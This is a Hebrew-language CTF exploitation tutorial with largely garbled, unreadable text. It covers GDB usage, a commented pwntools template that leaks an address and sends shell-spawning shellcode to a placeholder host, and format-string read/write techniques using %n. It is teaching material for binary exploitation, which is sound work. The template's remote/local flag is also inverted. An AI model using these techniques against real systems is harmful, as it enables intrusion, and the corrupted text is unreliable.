 ˫˰ ˟ˣ˪˧˷˟) ˣˤˢ ˢ˧˴˲ˣ˞˟ ˷ˬ˸˷ˮ ˟ˣ˶˪ .ˢ˴˶ˢˢ ˸˶ˣ˷˟ ˣˮ˶˟˰ˢ˷pwntools  ˸˞ ˳˧˶˧˷

.(˨˧˪ˢ˸ˢ 

2.  ˸˥˸ ˳˟ˣ˵ ˸˴˶ˢgdb ˢˡˣ˵˲˟ ˷ˬ˸˷ˮ ,˳˟ˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˸ˮˬ ˪˰ :run  ˣ˞r. 

¶  ˰˴˟˪ ˭˸˧ˮinput redirection  :˸ˣ˰˴ˬ˞˟r < input.txt ˷˵˟˧ ˨˧˪ˢ˸ˢ˷ ˫˰˲ ˪˩˟ ˨˩ ,input ,

gdb  ˣ˪ ˵˲˯˧input .˳˟ˣ˵ˢˬ 

3.  ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˨˧˪ˢ˸ˢ ˭ˣ˶˩˧ˤ ˸˞ ˭ˣ˥˟˪ ˭˸˧ˮx ˞ˣˢ ˢˡˣ˵˲ˢ ˪˷ ˦ˬ˶ˣ˲ˢ ˶˷˞˩ ,x/nfu addr ,

 ˶˷˞˩u -  ,˭ˣ˥˟˪ ˢ˴˶ˮ˷ ˰ˡ˧ˬˢ ˸ˣˡ˧˥˧f - ˣ ,˰ˡ˧ˬˢ ˸˞ ˠ˧˴ˢ˪ ˢ˴˶ˮ ˣ˟˷ ˦ˬ˶ˣ˲ˢ-n -  ˶˲˯ˬ

:˸ˣˬˠˣˡ ˶˲˯ˬ ˭˪ˢ˪ .˸ˣ˶ˤ˥ˢ 

¶ x/s $rsp  ˡ˰) ˸˥˞ ˸ˤˣ˶˥ˬ ˯˧˲ˡ˧null-terminatorˬ ˪˥ˢ (-rsp. 

¶ x/10xg 0x400509  ˪˷ ˸ˣ˟ˣ˸˩ ˢ˶˷˰ ˯˧˲ˡ˧8 ) ˫˧˸˟g - giant) ˧˪ˬ˧˴ˡ˯˵ˢ ˦ˬ˶ˣ˲˟ (x - hex.( 

¶ x/5i $rip  ˯˧˲ˡ˧5 ) ˧˪˟ˬ˯˞ ˸ˣˡˣ˵˲i - instructionˬ ˪˥ˢ (-rip. 

4.  ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ˶ˣ˴˧˪ ˭˸˧ˮbreak  :ˢˬˠˣˡ˪ ,˸˟ˣ˸˩ˢ ˧ˣˣ˧˪˟break *0x401ff  ˣ˞break 

*main˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ,˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˵ˣ˥ˬ˪ ˸ˮˬ ˪˰ .-clear <address> ˟ ˣ˞-del 

<breakpoint_index> :ˢˬˠˣˡ˪ .del 2 ˢ ˸˞ ˵˥ˬ˧-breakpoint ˣ ,ˣˮ˶ˡˠˢ˷ ˧ˮ˷ˢ-clear 0x401ff 

ˢ ˸˞ ˵˥ˬ˧-breakpoint  ˸˟ˣ˸˩˟ ˣˮ˶ˡˠˢ˷0x401ff. 

5. ˢ ˸˞ ˸ˣ˞˶˪ ˸ˮˬ ˪˰-call stack ˟ ˷ˬ˸˷ˮ ,˧˥˩ˣˮˢ-backtrace  ˣ˞bt. 

6.  ˭˧˟ ˱˧˪˥ˢ˪ ˸ˮˬ ˪˰stack frames ˢˡˣ˵˲˟ ˷ˬ˸˷ˮ ,frame  ˣ˞)f :ˢ˞˟ˢ ˢ˶ˣ˴˟ ,(f <n> , ˶˷˞˩n 

ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˞ˣˢ-frame  ˢˡˣ˵˲ˢ ˪˷ ˦˪˲˟ ˠ˴ˣˢ ˞ˣˢ˷ ˧˲˩btˢ ,˧˪˪˩ ˭˲ˣ˞˟ .-frame ˢ ˫ˣ˵ˬ˟-0 

ˢ ˞ˣˢ-frame ˮˢˢ ,ˢ˴˧˶ˬ ˸˧ˮ˩˸ˢ˷ ˧˥˩ˣ-frame s-1 ˢ ˞ˣˢ-frame ˪ ˞˶˵˷-frame 0.ˢ˞˪ˢ ˨˩ˣ , 

7.  ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˟˶ ˰ˡ˧ˬ ˭ˣ˥˟˪ ˪˩ˣˮinfo  ˣ˞)iˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˭ˣ˥˟˪ ˪˩ˣˮ ,˶˸˧ˢ ˭˧˟ .(-shared 

libraries  ˸˶ˤ˰˟ ˫˧ˮˣ˰˦ˢinfo sharedlibraryˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˟˵˪ ,-breakpoints  ˸˶ˤ˰˟ ˣ˶ˡˠˣˢ˷
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info breakˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˟˵˪ ,-frame  ˸˶ˤ˰˟ ˫˧ˮ˥ˣ˟ ˣˮ˞˷ ˧˥˩ˣˮˢinfo frame ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˟˵˪ˣ ,

 ˸˶ˤ˰˟ ˫˧˶ˠˣ˞info registers  ˣ˞)i r ˪˰ ˰ˡ˧ˬ ˪˟˵˪ ˣ˞ ,˫˧˶ˠˣ˞ˢ ˪˩ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˟˵˪ ˸ˮˬ ˪˰ (

 .˭ˣ˥˟˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˢ˧ˢˮ ˫ˢ˪˷ ˫˧˩˶˰ˢ ˸˞˷ ˫˧˶ˠˣ˞ˢ ˸ˣˬ˷ ˭ˣ˧˴ ˸˶ˤ˰˟ ˡ˟˪˟ ˫˧˧˲˧˴˲˯ ˫˧˶ˠˣ˞

ˬˠˣˡ˪ ˫˧˶ˠˣ˞ˢ ˪˷ ˫˧˩˶˰ˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ ,ˢrsp, rax x-r9 ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˮ ,i r rsp rax r9. 

8.  ˰˴˟˪ ˸ˮˬ ˪˰disassembly  ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˮ ,˸ˬ˧ˣ˯ˬ ˢ˧˴˵ˮˣ˲˪disas <address>  ˣ˞disas 

*<function-name>  ˞˪ˣ ˣˤˢ ˢˡˣ˵˲˟ ˷ˬ˸˷ˮ˷ ˢ˟˧˯ ˭˧˞ ,˧˪˪˩ ˭˲ˣ˞˟ .˫˧˪ˣ˟ˬ˧˯ ˣˮ˪ ˷˧ˣ ˢˡ˧ˬ˟

ˢ ˸ˡˣ˵˲˟-disassemble  ˪˷PEDA ˞˧ˢ˷ ,pdisas. 

pwntools ˢ˧˧ˮ˷ˢ ˪ˠ˶ˢ ˪˰ 

 ,˶ˣˬ˞˩pwntools  ˸˟˧˸˩˪ ˸˧ˮˣ˸˧˧˲ ˸˧˸˷˸ ˞˧ˢexploits  ˶ˣ˟˰ ˡ˥ˣ˧ˬ˟ ˢˡ˰ˣˮ˷ ,˯˵ˣˮ˧˪˟ctfs ˭˪ˢ˪ .

˟ ˧˯˧˯˟ ˷ˣˬ˧˷ ˶˧˟˯ˬ˷ ˸ˣ˶˰ˢ ˫˰ ˡˣ˵ ˰˦˵-pwntools: 

# This import statement should import and initialize everyth ing we need to 

exploit a program  

from pwn import *  

 

 

EXPLOIT_REMOTE = False  

 

# The context object allows us to set the context of the environment which runs 

the program  

# we'd like to exploit, such as stating which architecture it's built in, and 

which OS it's running.  

# Using this object, pwntools simplifies access to many of its platform -

dependent functionality, such as  

# the various shellcodes it stores.  

# By default, context assumes a 32 - bit Linux machine, so we need to update the 

architecture context  

# to a 64 - bit architecture.  

context.update( arch ='amd64' )  

 

if EXPLOIT_REMOTE: 

    # Instantiating the process class will cause pwntools to run the binary  

    # and return an object which allows us to communicate with it.  

    # This process can then be debugg ed using gdb.  

    r = process( "./my_elf" )  

else :  

    # Pwntools also provides a wrapper for remote connections.  

    r = remote( "my.epic.host" , 1337 )  

 

# The ELF class parses the ELF file and can provide easy access to useful 

infomation, such as the  

# GOT and  the binary's various sections.  

e = ELF( "./my_elf" )  

# The following is an example of accessing the address of a certain entry in the 

GOT. 

printf_got = e.got[ 'printf' ]  

 

# We can easily send a line (ending with ' \ n') to the process using pwntools.  

r.sendline ( "Hello world!" )  

# We can also easily receive input up to a certain set of characters.  

r.recvuntil( "name:" )  

 

# p64 allows for easy packing of 64 - bit long addresses, without the need for 

python's struct module.  

address = p64( 0x41414141 )  

r.sendline(address)  
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# u64 allows for easy unpacking of 64 - bit long addresses, without the need for 

python's struct module.  

remote_address = u64(r.recvuntil( " \ x7f " )[ 1:])  

 

# The shellcraft module grants us access to a variety of customizable 

shellcodes. Using the context obje ct,  

# it knows which shellcode fits the specific context and returns it, without the 

need of more arguments.  

shellcode = shellcraft.sh()  

# The object returned from shellcraft's method is a string, storing assembly 

code. We need to assemble it.  

# The asm me thod provides us with this functionality.  

shellcode = asm(shellcode)  

 

r.sendline(p64(remote_address) + shellcode)  

 

# This allows us to enter interactive mode -  all input will be redirected 

directly to the program, as  

# if we were simply running the program  itself.  

r.interactive()  

[Format String Exploitation] 

˟ ˢ˟˶ˢ ˶ˤ˰˧ˮ-Format String Exploitation  ˞˷ˣˮˢ ˪˷ ˭ˣˮ˰˧˶ ˰˴˟˪ ˧˪ ˟ˣ˷˥ ˭˩˪ ,˫˧˶ˠ˸˞ˢ ˨˪ˢˬ˟

 ˸˞ ˫˧˶˧˩ˬ ˣ˪˷ ˫˧˞˶ˣ˵˪ .˫˧˷ˣˡ˧˥ ˭˞˩ ˭˧˞ ,˞˟ˢ ˞˷ˣˮ˪ ˨˧˷ˬˢ˪ ˪ˣ˩˧ ˞˷ˣˮ˟ ˞˧˵˟˷ ˧ˬ .˫˧˞˶ˣ˵ˢ ˟˶˵˟

 ˞˷ˣˮˢ-  ˳˧˪ˬ˞˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˢ ˭ˣ˧˪˧ˠ˟ ˫˯˶ˣ˲˷-72  ˞˷ˣˮ˟ ˭˧ˤˠˬˢ ˪˷Format String Exploitation 

.˶ˬ˞ˬ˟ ˫˯˶ˣ˲˷ ˭˩ˣ˸ˢ ˪˷ ˸ˣ˴ˬ˸ ˞ˣˢ ˭˞˩ ˠ˴ˣ˧˷ ˭˩ˣ˸ˢ .(˶ˬ˞ˬˢ ˱ˣ˯˟ ˶ˣ˷˧˵ ˞ˣ˴ˬ˪ ˭˸˧ˮ) 

 ˸˧˧˴˦˧ˣ˪˲˯˵˞ ˫ˣ˥˸ ˪˩format strings  ˪˷ ˢˡˣ˟˰ˢ ˭˲ˣ˞ ˪˷ ˢˮ˟ˢ ˪˰ ˯˯˟˸ˬformat strings ˷ˣˬ˧˷ .

˟ ˭ˣ˩ˮ ˞˪-format strings  ˨˩ˣ ,ˣˮˮˣ˴˶ ˧˲ ˪˰ ,˭ˣ˶˩˧ˤ˟ ˸ˣ˧˸ˣ˶˧˶˷ ˸ˣ˟ˣ˸˩˪ ˢ˞˧˶˵/ˢ˟˧˸˩ ˣˮ˪ ˶˷˲˞˪ ˪ˣ˩˧

) ˵˥ˣ˶ˬ ˡˣ˵ ˸˴˶ˢ ˣˬ˩ ˸ˣ˵˷˥ˮ ˸ˣ˪ˣ˩˧ ˪˪˷ ˶˷˲˞ˬRCE) ˰ˡ˧ˬ ˸ˠ˪ˤˢˣ (Information Disclosure ˨˩ ,(

 ˣˬ˩) ˧˶˞ˮ˧˟ˢ ˪˰ ˸ˣ˪˰˲ˣˬ˷ ˸ˣˮˠˢˢ ˪˩ ˪˰ ˦˰ˬ˩ ˶˟ˠ˸ˢ˪ ˪˩ˣˮ ˫˧˸˧˰˪˷DEP, ASLR, Stack canaries (

 ˪ˣ˴˧ˮ ˸˶ˤ˰˟format strings. 

 ˢˤ ˢˬ ˤ˞format string ?Format string˪ ˫˧˶˦ˬ˶˲ˬˣ ˦˯˵˦ˬ ˸˟˩˶ˣˬˢ ˸ˤˣ˶˥ˬ ˞ˣˢ ,˞ˣˢ ˭˩ ˣˬ˷˩ ,-

format function  ˣˬ˩)scanf ˞ ˣprintf ˸˶ˤ˰˟ .(format string ˫˧˶˦ˬ˶˲ˢ ˪˩ ˪˰ ˰ˡ˧ˬ ˶˧˟˰ˢ˪ ˭˸˧ˮ ,

˪ ˫˧˧˦ˮˣˣ˪˶ˢ-format function ˢ ˞ˣˢ˷) ˡ˟˪˟ ˭ˣ˷˞˶ˢ ˦ˮˬˣˠ˶˞ˢ ˸˶ˤ˰˟-format string ˢ˧˴˵ˮˣ˲ˢ ˨˩ˣ ,(

 ˢ˪ ˣ˶˟˰ˣˢ ˫˧˦ˮˬˣˠ˶˞ ˣ˪˧˞ˣ ˢˬ˩ ˸˰ˡ˪ ˢ˩˧˶˴ ˞˪- ˢ ˨ˬ˯ ˪˰ ˢˤ ˸˞ ˢ˵˧˯ˬ ˞˧ˢ-format string ˫ˮ˷˧ .

˧˴ˬ ˶˲˯ˬ) ˫˧ˮ˧specifiers˪ (-format string˪ ˶˟˰ˣˢ˷ ˫˧ˣ˯ˬ ˯˵ˡˮ˧˞˟ ˦ˮˬˣˠ˶˞ˢ ˸˞ ˫˧˶˞˸ˬ ˶˷˞ ,-

format function ˣ˸˟ ˪˧˥˸˧ ˭˧˧˴ˬ ˪˩ .%  ˯˧˲ˡˢ˪ ˫˧˴ˣ˶ ˸ˬ˞˟ ˫˞)% ˸ˣ˰˴ˬ˞˟ ˥ˣ˶˟˪ ˭˸˧ˮ ,%% ˶ˡ˯ˢ .(

˟ ˫˧˰˧˲ˣˬ ˫˧ˮ˧˧˴ˬˢ ˣ˟˷-format string ˧ˮ˧˧˴ˬ ˶˲˯ˬ ˭˪ˢ˪ .ˢ˧˴˵ˮˣ˲˪ ˣ˶˟˰ˣˢ ˣ˟˷ ˶ˡ˯˪ ˢˢˤ:ˢˬˠˣˡ˪ ˫ 

¶ %s  ˸ˣˤˣ˶˥ˬ .˸ˤˣ˶˥ˬ˩ ˡ˟ˣ˰˧ ˣ˧˪˞ ˯˥˧˧˸ˬ ˭˧˧˴ˬˢ˷ ˦ˮˬˣˠ˶˞˪ ˦˪˵˧˧˷ ˦˪˵ˢ .˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ ˭˧˧˴ˬ

-˟format strings  ˧ˣˣ˸ ˸˶ˤ˰˟ ˸ˣˡ˶˲ˣˬwhite space) ˟˞˦ ˣˬ˩ ,ά\ǘέ  ˣ˞ά\Ȅлфέ) ˥ˣˣ˶ ,(ά ά  ˣ˞

ά\Ȅнлέ) ˢ˷ˡ˥ ˢ˶ˣ˷ ˣ˞ (ά\ƴέ  ˣ˞ά\Ȅмлέ.( 

¶ %c (ˡ˥˞ ˸˧˟ ˨˶ˣ˞˟) ˣ˸˪ ˰˧˟˴ˬ ˭˧˧˴ˬ 

http://www.digitalwhisper.co.il/files/Zines/0x48/DW72-4-FormatString.pdf
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¶ %x  ˭˧˧˴ˬunsigned int ˧˪ˬ˧˴ˡ˯˵ˢ ˦ˬ˶ˣ˲˟ ˯˲ˡˣ˧˷ 

¶ %p ˧˪ˬ˧˴ˡ˯˵ˢ ˦ˬ˶ˣ˲˟ ˯˲ˡˣ˧ ,˰˧˟˴ˬ ˭˧˧˴ˬ 

) ˨˶ˣ˞ ˧ˮ˵˸ˬ ˫ˠ ˷˧ ,˫˧ˮ˧˧˴ˬ˪ ˱˯ˣˮ˟length modifiers ˰˧˟˴ˬ˷ ˰ˡ˧ˬ˪ ˯˥˧˧˸ˢ˪ ˡ˴˧˩ ˫˧˶˞˸ˬ˷ ,(

,˫˧ˬ˧˧ˣ˯ˬ ˫˧˰˧˟˴ˬ ˫˰ ˱ˣ˶˧˴˟ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮˣ ˭˧˧˴ˬˢ :ˢˬˠˣˡ˪ 

¶ h ˩ ˰ˡ˧ˬ˪ ˯˥˧˧˸ˢ˪ ˶˧ˡˠˬ-word ˨˶ˣ˞˟ ˰ˡ˧ˬ˩ ˶ˬˣ˪˩ ,2  ,ˢˬˠˣˡ˪ ,˨˩ .˫˧˸˟%hx  ˵˶ ˯˧˲ˡ˧2  ˫˧˸˟

 ˫ˣ˵ˬ˟4. 

¶ hh ˩ ˰ˡ˧ˬ˪ ˯˥˧˧˸ˢ˪ ˶˧ˡˠˬ-byte ,ˢˬˠˣˡ˪ ,˨˩ .ˡ˥˞ ˸˧˟ ˨˶ˣ˞˟ ˰ˡ˧ˬ˩ ˶ˬˣ˪˩ ,%hhx  ˸˧˟ ˵˶ ˯˧˲ˡ˧

 ˫ˣ˵ˬ˟ ˡ˥˞4. 

¶ ll  ˣ˞q ˩ ˰ˡ˧ˬ˪ ˯˥˧˧ˢ˪ ˶˧ˡˠˬ-qword˟ ˰ˡ˧ˬ˩ ˶ˬˣ˪˩ , ˨˶ˣ˞8  ,ˢˬˠˣˡ˪ ,˨˩ .˫˧˸˟%llx  ˯˧˲ˡ˧8 

 ˫ˣ˵ˬ˟ ˫˧˸˟4. 

ˢ ˶ˣ˟˰ ,ˢˬˠˣˡ˪-format string  :˞˟ˢάIŜƭƭƻ ҈ǎΣ ȅƻǳǊ ƎŜƴŘŜǊ ƛǎ ƻŦ ǘȅǇŜ ҈Ŏ ŀƴŘ ƭƛōŎ ƛǎ ƭƻŎŀǘŜŘ ŀǘ ҈Ǉέ 

:ˢ˞˟ˢ ˢ˶ˣ˴˟ ˢ˧˴˵ˮˣ˲˪ ˣ˶˟˰ˣˢ˷ ˫˧˦ˮˬˣ˶˞ˢ ˸˞ ˷˶˲˧ 

¶ ˸ˤˣ˶˥ˬ˪ ˰˧˟˴ˬ ˞ˣˢ ˭ˣ˷˞˶ˢ ˦ˮˬˣˠ˶˞ˢ 

¶  ˰˧˟˴ˬ ˞ˣˢ ˧ˮ˷ˢ ˦ˮˬˣˠ˶˞ˢˣ˸˪ 

¶ ˰˧˟˴ˬ ˪˷ ˸˟ˣ˸˩ ˞ˣˢ ˧˷˧˪˷ˢ ˦ˮˬˣˠ˶˞ˢ 

 ˷ˬ˸˷ˢ˪ ˡ˴˧˩ ˢ˶˧˟˯ˬˢ ˸ˤˣ˶˥ˬ˩ ˷ˬ˷˸ ˞˧ˢ ˫˞ ˦˪˥ˣ˧ ,˸ˤˣ˶˥ˬˢ ˸˶˟˰ˣˬ ˢ˧˪˞˷ ˢ˧˴˵ˮˣ˲˪ ˫˞˸ˢ˟

˟ ,ˢˬˠˣˡ˪) ˢˬ˷ˢ ˧˩˶ˣ˴˪ ˷ˬ˸˷ˬˢ ˦˪˵˟-scanf˟ ,ˢˬˠˣˡ˪) ˷ˬ˸˷ˬ˪ ˢˠ˴ˢ ˧˩˶ˣ˴˪ ˣ˞ (-printf ,˨˩ .(

 ˢ˞˧˶˵ˢ ,ˢˬˠˣˡ˪ǇǊƛƴǘŦόά҈ǎέΣ ǎύ ˷ ˨˶˰ˢ ˸˞ ˯˧˲ˡ˸ ˸ˤˣ˶˥ˬ˟ ˞˴ˬˮs. 

 ˢ˧ˢ˸ ˢ˧˴˵ˮˣ˲˪ ˣˮ˪˷ ˢ˞˧˶˵ˢ ˶˷˞˩ ˢ˶˵˧ ˢˬ ˪˟˞ǇǊƛƴǘŦόά҈ƭƭȄ ҈ƭƭȄ ҈ƭƭȄέύ ˶˧˟˰ˮ ˞˪ ˶ˬˣ˪˩ ,

 ˞˧ˢˣ ,˧ˬ˞ˮ˧ˡ ˞ˣˢ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˫˧˦ˮˬˣˠ˶˞ˢ ˶˲˯ˬ˷ ˭ˣˣ˧˩ˬ ,˶ˣˬ˞˩ ?ˢ˧˴˵ˮˣ˲˪ ˫˧˲˯ˣˮ ˫˧˦ˮˬˣˠ˶˞

˟ ˶˟˰ˣˬ˷ ˰ˡ˧ˬˢ ˪˰ ˵˶ ˸˩ˬ˸˯ˬ-format stringˮ˪ ˠ˧˴˸ˣ ˳ˣ˶˸ ˢ˧˴˵ˮˣ˲ˢ , ˫ˣ˵ˬ˟ ˰˧˲ˣˬ˷ ˰ˡ˧ˬˢ ˸˞ ˣ

 ˢ˧˴˵ˮˣ˲˪ ˧˰˧˟˶ˣ ˧˷˧˪˷ ,˧ˮ˷ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˸ˣ˶˟˰ˣˬ ˸ˣ˧ˢ˪ ˫˧˶ˣˬ˞ ˣ˧ˢ ˣ˟- ˟-32  ˢ˞˧˶˵˟ ˶˟ˣˡˬ ,˦˧˟

˟ˣ ,˸˧ˮ˯˥ˬˢˬ ˰ˡ˧ˬ ˪˷-64  ˢ˦˧˪˷ ,˶ˬˣ˪˩ .(˨˷ˬˢ˟ ,˨˩ ˪˰ ˡˣ˰) ˫˧˶ˠˣ˞˟ ˭˯˥ˣ˞ˬ˷ ˰ˡ˧ˬ˟ ˶˟ˣˡˬ ˦˧˟

-˟format string ˬˢ˟ !˸˧ˮ˯˥ˬˢˬ ˸˧˸ˣ˶˧˶˷ ˢ˞˧˶˵ ˸˶˷˲˞ˬˢ ˸˞ ˟˴˰˪ ˶˷˲˞˷ ˫ˠ ˢ˞˶ˮ ˨˷-format 

string ˢ ˣ˸ˣ˞˟ ˭˧˧˴ˬˢ ˸˞ ˟˧˴ˢ˪ ˢ˴˶ˮ ˢ˧˪˰˷ ˸˟ˣ˸˩ˢ ˸˞ ˶˧ˡˠˢ˪ ˣˮ˪ ˶˷˲˞˸˷ ˢ˶ˣ˴˟ ˣˮ˪˷-format 

string ˪ ˶˟˰ˣˬ˷-printf. 

 ˭˧˧˴ˬˢ ˦ˮˬˣˠ˶˞ ˢˤ˧˞˪ ˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟ ˶˧ˡˠˢ˪ ˨˩ˣ ,˭˧˧˴ˬ˪ ˯˵ˡˮ˧˞ ˶˧˟˰ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˭˸˧ˮ˷ ˱˯ˣˮ ˶˟ˡ

˟ˢ ˦ˬ˶ˣ˲˟ ,˯˥˧˧˸ˬ :˞%n$m ˶˷˞˩ ,n ˣ ˯˵ˡˮ˧˞ˢ ˞ˣˢ-m  :ˢˬˠˣˡ˪ .˭˧˧˴ˬˢ ˞ˣˢ%15$s  ˯˥˧˧˸ˢ˪ ˶˧ˡˠˬ

ˢ ˦ˮˬˣˠ˶˞˪-15  ,ˢ˧˴˵ˮˣ˲˪ ˶˟˰ˣˬ ˢ˧ˢ ˣ˪ ˟˷ˣ˧ ˢ˧ˢ ˞ˣˢ ˣ˟ ˫ˣ˵ˬ˟ ˣ˸ˣ˞ ˞˴ˬ˸ ˞˧ˢˣ) ˢ˧˴˵ˮˣ˲˪ ˶˟˰ˣˢ˷

.(˞˪ ˫˞ ˭˧˟ˣ ˢ˧˪˞ ˢ˞˧˶˵˟ ˶˟˰ˣˢ ˸ˬ˞˟ ˫˞ ˭˧˟ 
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 ˭˧˧˴ˬˢ ˞ˣˢ ˣ˧˪˞ ˣˮ˯˥˧˧˸ˢ ˞˪˷ ˱˯ˣˮ ˭˧˧˴ˬ%nˣ˩ ˶˷˞ , ˸˞ ˯˥˧˧˸ˬ ˞ˣˢ ˣ˧˪˞ ˦ˮˬˣˠ˶˞ˢ ˪˷ ˸˟ˣ˸˩˪ ˟˸

 :ˢˬˠˣˡ˪ ,˨˩ .ˢ˩ ˡ˰ ˢ˴˧˵ˮˣ˲ˢ ˧ˡ˧ ˪˰ ˣ˯˲ˡˣˢ˷ ˫˧ˣˣ˸ˢ ˶˲˯ˬǇǊƛƴǘŦόάмноп҈ƴέΣ ϧƛύ  ˨˶˰ˢ ˸˞ ˫ˣ˷˶˸4 

 ˨ˣ˸˪i˪ ˸ˣ˯˥˧˧˸ˢ ˨ˣ˸ ,-i ˩-DWORD ˪˰ ˨˶ˣ˞ ˧ˮ˵˸ˬ˟ ˷ˬ˸˷ˢ˪ ˫ˠ ˭˸˧ˮ .%n ˫ˣ˷˶˪ ˨˩ˣ ,WORD, BYTE 

 ˣ˞DWORD ˫˴˰˟ ˨˩ .˨˶ˣ˴ˢ ˧˲ ˪˰ , ˢ˟˧˸˩ ˸˪ˣ˩˧ ˫ˠ ,˸˧˸ˣ˶˧˶˷ ˢ˞˧˶˵ ˸˪ˣ˩˧˪ ˱˯ˣˮ˟ ,ˣˮ˪˟˧˵

˟ ˫˧˦˪ˣ˷ ˣˮ˥ˮ˞˷ ˢ˥ˮˢ˟ ,˸˧˸ˣ˶˧˶˷-format string. 

.˫˧˶ˠ˸˞ˢ ˸˶˧˸˲ ˨˶ˣ˴˪ ˣˮ˸ˣ˞ ˷ˬ˷˧ ˢˤˢ ˰ˡ˧ˢ ˡ˴˧˩ ˢ˞˶ˮ ˶ˬ˞ˬˢ ˨˪ˢˬ˟ 

64 vs 32 bit 

 ˫ˢ˪˷ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˸˞ ˭˧˧˴˪ ˟ˣ˷˥ ,˫˧˧˶˞ˮ˧˟ ˪˰ ˫˧˶˟ˡˬ ˶˷˞˩-  ˫˧˧˶˞ˮ˧˟˟ ˶˟ˣˡˬ ˫˞ˢ32- ˣ˞ ˦˧˟

64- ˭˧˟ ˫˧˲˯ˣˮ ˫˧˪ˡ˟ˢ ˶˲˯ˬ ˷˧ˣ ,ˣ˧˪˞ ˷˧ˠˮ ˧˶˞ˮ˧˟ˢ˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˸˞ ˸ˮ˧˧˴ˬ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ?˦˧˟

:˫ˢ ˫ˢ˟ ˫˧˧˦ˮˣˣ˪˶ˢ .˸ˣ˶ˣ˦˵˦˧˩˶˞ˢ 

¶ ˷ ˧˲˩ :˫˧˷ˡ˥ ˫˧˶ˠˣ˞-32 ) ˫˧˟˥˶ˣˬˢ ˫˧˶ˠˣ˞ˢ ˸˥˲˷ˬ ˸˞ ˠ˧˴ˢ ˦˧˟extended (- eax, eip, ebx, 

esp  ˨˩ ,'ˣ˩ˣ64- ˧˶ˠˣ˞ ˸˥˲˷ˬ ˠ˧˴ˢ ˦˧˟r  ˫˷ ˪˰)register -  (˶ˠˣ˞- rax, rip, rbx, rsp -  ˶˟ˣˡˬ

 ˨˶ˣ˞˟ ˫˧˶ˠˣ˞˟64-˟ ˫˧ˬ˧˧˵ ˞˪ ,˭˟ˣˬ˩˷ ˦˧˟-32-.˦˧˟ 

¶ ˟-64  ˶˷˞˩ ,˫˧˶ˠˣ˞ˢ ˧˟ˠ ˪˰ ˞˪˞ ,˸˧ˮ˯˥ˬˢ ˪˰ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˦ˮˬˣˠ˶˞ ˣ˶˟˰ˣ˧ ˞˪ ˡ˧ˬ˸ ˦˰ˬ˩ ,˦˧˟

 ˧˟ˠ ˪˰ ˣ˶˟˰ˣ˧ ˫˧ˮˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˸˰˟˶˞ ,˦˲ˣ˯ˣ˶˵˧˧ˬ ˸ˣ˩˶˰ˬ˟rcx, rdx, r8 & r9 ,ˢˬ˞˸ˢ˟ ,

 ˸˷˷ ,˯˵ˣˮ˧˪ ˭ˢ˧ˮ˧˟ ,˸ˣ˶˥˞ ˸ˣ˟˶ ˸ˣ˩˶˰ˬ˟ˣ ,˸˧ˮ˯˥ˬˢ ˧˟ˠ ˪˰ ˣ˶˟˰ˣ˧ ˫˧˦ˮˬˣˠ˶˞ˢ ˶˞˷ˣ

 ˫˧˶ˠˣ˞ˢ ˧˟ˠ ˪˰ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢrdi, rsi, rdx, rcx, r8 & r9 ˫˧˦ˮˬˣˠ˶˞ˢ ˶˞˷ˣ ,

 ˫ˣ˷˶˪ ˢ˴˶ˮ˷˩ ˡ˥ˣ˧ˬ˟ ,ˢˤ ˸˞ ˶ˣ˩ˤ˪ ˡˣ˞ˬ ˟ˣ˷˥ .˸˧ˮ˯˥ˬˢ ˧˟ˠ ˪˰ ˣ˶˟˰ˣ˧format string .˧ˮˣˡˤ 

 ˫˧˧˶˞ˮ˧˟ ˫ˢ ˫ˢ˟ ˵ˣ˯˰ˮ˷ ˫˧˶ˠ˸˞ˢ ˪˩64-.˦˧˟ 

Mary Morton 

 ,ˣˮ˪˷ ˭ˣ˷˞˶ˢ ˶ˠ˸˞˪ ˫˧ˮ˩ˣˬ ˣˮ˞ ,ˢˬˡ˵ˢ ˢ˟˶ˢ ˶˥˞˪Mary Morton!  ˧ˮ˲˪ .˶ˠ˸˞ˢ ˸˞ ˡ˧˶ˣˮ

 ˰˴˟˪ ˫˧˪˧˥˸ˬ˷reversing ˢ˷ˣ˥˸ ˪˟˵˪ ˸ˣ˯ˮ˪ˣ ˭˧˵˸ ˭˲ˣ˞˟ ˧˶˞ˮ˧˟ˢ ˫˰ ˸˴˵ ˵˥˷˪ ˫ˡˣ˵ ˟ˣ˷˥ ,

 ˪˷ ˸˧˯˧˯˟ ˢˮ˟ˢˣ-sflow.˨˶ˡˢ ˪˰ ˢ˧˴˦˧ˣ˪˲˯˵˞˪ ˫˧ˮˣˣ˧˩ ˞ˣ˴ˬ˪ ˣ˪˧˲˞ ˧˪ˣ˞ˣ , 

